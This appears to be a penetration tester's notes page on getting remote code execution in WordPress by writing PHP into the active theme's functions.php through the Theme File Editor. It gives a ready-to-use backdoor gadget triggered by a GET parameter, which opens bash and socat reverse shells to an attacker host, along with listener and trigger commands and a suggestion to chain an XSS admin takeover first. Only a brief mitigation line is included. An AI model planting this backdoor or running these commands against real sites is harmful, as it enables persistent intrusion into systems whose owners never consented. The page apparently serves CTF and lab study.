đź§ WordPress - Theme Editor RCE
What is it?
- Concept: An administrator turns WordPress into RCE by writing PHP into the active theme’s
functions.php(loaded on every request) via Appearance → Theme File Editor (theme-editor.php), or an equivalent forged POST. - Impact: Code execution as the web user (
www-data).
How it works
functions.phpexecutes on every front-end and admin request while the theme is active.- Appending a gadget that fires on a chosen GET parameter gives on-demand command execution without defacing the site.
Exploitation
Prerequisites
- Admin with
edit_themesand file editing enabled (DISALLOW_FILE_EDITnot set)
Attack Vectors
1. Plant the gadget in functions.php
Via Appearance → Theme File Editor (theme-editor.php) or a forged POST. Gated on ?shell=1 so it doesn’t spawn a shell on every page load.
add_action('init', function () {
if (!isset($_GET['shell'])) { return; }
$ip = '<LHOST>'; $p = '<LPORT>';
@shell_exec("setsid bash -c 'bash -i >& /dev/tcp/$ip/$p 0>&1' >/dev/null 2>&1 &");
@shell_exec("setsid sh -c 'socat TCP:$ip:$p EXEC:bash,pty,stderr,setsid,sigint,sane' >/dev/null 2>&1 &");
echo "fired\n"; exit;
});2. Trigger
rlwrap nc -lvnp <LPORT> # listener
curl -sk 'https://target/?shell=1' # fireNotes
plugin-editor.php+ an active plugin is the exact equivalent if theme editing is locked.- With only a low-priv account, chain WordPress - XSS to Admin Account Takeover first to obtain the admin that edits the theme.
setsiddetaches the shell so the HTTP request returns cleanly instead of hanging.- Gate on a GET param (
?shell=1) so you’re not spawning a shell on every page load.
Mitigation
- Fix: Set
DISALLOW_FILE_EDIT/DISALLOW_FILE_MODS, least-privilege roles, and file-integrity monitoring on theme/plugin files.
Related Usage
| File | Created |
|---|---|
| HTB Machine - MakeSense | September 14, 2026 |
References: